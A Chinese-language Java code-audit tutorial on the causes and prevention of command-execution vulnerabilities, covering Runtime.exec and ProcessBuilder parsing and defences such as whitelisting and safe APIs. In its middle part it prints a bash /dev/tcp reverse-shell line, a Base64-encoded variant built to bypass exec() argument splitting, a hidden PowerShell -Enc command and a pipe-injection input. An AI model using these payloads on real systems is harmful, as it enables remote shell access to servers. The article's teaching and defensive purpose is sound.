【Java代码审计 | 第十篇】命令执行漏洞成因及防范
未经许可,不得转载。
文章目录
- Java 执行系统命令的函数
- 解析方式
- 防范措施
- 避免直接拼接用户输入
- 使用白名单验证用户输入
- 使用安全的 API 替代系统命令
- 限制命令执行的权限
- 使用安全的第三方库
命令执行漏洞是指攻击者能够通过应用程序执行任意系统命令,从而控制服务器或获取敏感信息。这种漏洞通常发生在应用程序直接调用系统命令且未对用户输入进行严格过滤的情况下。本文将分析 Java 中的命令执行漏洞,并提供防范措施。
Java 执行系统命令的函数
在 Java 中,常用的执行系统命令的函数包括:
-
Runtime.getRuntime().exec()
:通过Runtime
类的exec()
方法执行系统命令。 -
ProcessBuilder
:通过ProcessBuilder
类构建和执行系统命令。
// 使用 Runtime.exec() 执行命令
Runtime.getRuntime().exec("ping " + userInput);
// 使用 ProcessBuilder 执行命令
ProcessBuilder processBuilder = new ProcessBuilder("ping", userInput);
Process process = processBuilder.start();
注意,在 Java 中,尽管可以使用 Runtime.getRuntime().exec() 执行系统命令,但与 PHP 不同的是,Java 会将传入到该函数的参数视为一个完整的字符串,而不会受到 Shell 特殊符号(如 &、;、|)的影响,从而在一定程度上降低了命令注入的风险。
然而,在涉及 Runtime.exec() 类型的远程代码执行(RCE)时,如果需要反弹 Shell,则必须进行特殊处理。例如,直接执行以下命令可能无法成功反弹 Shell:
原始命令(Linux 环境):
bash -i >& /dev/tcp/127.0.0.1/12345 0>&1
由于 Java 直接将参数传递给 exec()
,而不会经过 Shell 解析,因此必须对命令进行适当转换。例如,可以使用 Base64 编码绕过限制,再通过 bash -c
进行解码和执行:
处理后的命令:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}
对于 Windows 环境,PowerShell 反弹 Shell 也需要类似的处理。例如,可以使用 -EncodedCommand
传递 Base64 编码后的命令:
处理后的 PowerShell 命令:
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwAuAGUAeABlAA==
解析方式
Runtime.getRuntime().exec()
的命令解析方式:
当命令以字符串形式传入 Runtime.getRuntime().exec()
时,Java 会使用空格拆分字符串,并将其作为独立的参数传递给操作系统。因此,直接拼接的参数可能不会像在 Shell 环境中那样解析 ;
、|
、&
这些特殊符号。例如:
Process process = runtime.exec("ping -c 1 " + ip);
如果 ip
参数为 127.0.0.1 | id
,系统不会解析 |
作为管道符,而是将整个字符串 "127.0.0.1 | id"
作为 ping
命令的参数,导致命令执行失败。
ProcessBuilder.start()
的工作方式:
ProcessBuilder
只能接受命令和参数的列表,而不能直接传入一个完整的命令字符串。这意味着,即使用户输入了 ;
、|
、&
等特殊符号,也无法通过 ProcessBuilder
直接实现命令拼接。例如:
// 从 HTTP 请求中获取用户输入的命令
String cmd = request.getParameter("cmd");
// 使用 ProcessBuilder 执行命令
ProcessBuilder processBuilder = new ProcessBuilder(cmd);
这种情况下,攻击者无法通过 cmd
参数注入额外的命令。
绕过限制的方法 :
如果攻击者可以完全控制参数,并且能够有权限启动 Shell,那么仍然可以实现命令注入。例如:
Process process = runtime.exec("sh -c whoami");
在这里,sh -c
允许执行包含特殊符号的 Shell 命令,从而绕过 exec()
或 ProcessBuilder
的参数解析机制。
防范措施
避免直接拼接用户输入
永远不要将用户输入直接拼接到命令中。如果需要使用用户输入,应对其进行严格的验证和过滤。
正确示例:
String userInput = request.getParameter("input");
// 验证输入是否为合法的 IP 地址
if (!userInput.matches("^[0-9.]+$")) {
throw new SecurityException("非法输入");
}
// 使用参数化方式执行命令
ProcessBuilder processBuilder = new ProcessBuilder("ping", userInput);
Process process = processBuilder.start();
使用白名单验证用户输入
对用户输入进行白名单验证,确保其符合预期的格式(如 IP 地址、文件名等)。
String userInput = request.getParameter("input");
// 白名单验证:只允许数字和点号
if (!userInput.matches("^[0-9.]+$")) {
throw new SecurityException("非法输入");
}
// 执行命令
ProcessBuilder processBuilder = new ProcessBuilder("ping", userInput);
Process process = processBuilder.start();
使用安全的 API 替代系统命令
尽量避免调用shell来执行命令。
如果可能,尽量使用 Java 提供的安全 API 替代直接执行系统命令。例如:
- 使用
java.nio.file.Files
替代rm
、cp
等文件操作命令。 - 使用网络库替代
ping
、curl
等网络操作命令。
示例代码如下:
import java.net.InetAddress;
String ipAddress = request.getParameter("ip");
// 使用 Java 网络库实现 Ping
InetAddress inetAddress = InetAddress.getByName(ipAddress);
boolean isReachable = inetAddress.isReachable(5000); // 超时 5 秒
if (isReachable) {
response.getWriter().println("Ping 成功");
} else {
response.getWriter().println("Ping 失败");
}
限制命令执行的权限
如果必须执行系统命令,应尽量降低应用程序的权限,避免以高权限(如 root)运行。
- 在 Linux 系统中,可以使用
sudo
限制命令的执行权限。 - 在 Docker 容器中,可以以非 root 用户运行应用程序。
使用安全的第三方库
如果需要执行复杂的系统命令,可以使用经过安全验证的第三方库,如:
- Apache Commons Exec:提供安全的命令执行功能。
- OWASP ESAPI:提供安全的输入验证和命令执行功能。
使用 Apache Commons Exec 示例:
import org.apache.commons.exec.CommandLine;
import org.apache.commons.exec.DefaultExecutor;
String userInput = request.getParameter("input");
// 使用 Apache Commons Exec 执行命令
CommandLine commandLine = new CommandLine("ping");
commandLine.addArgument(userInput);
DefaultExecutor executor = new DefaultExecutor();
executor.execute(commandLine);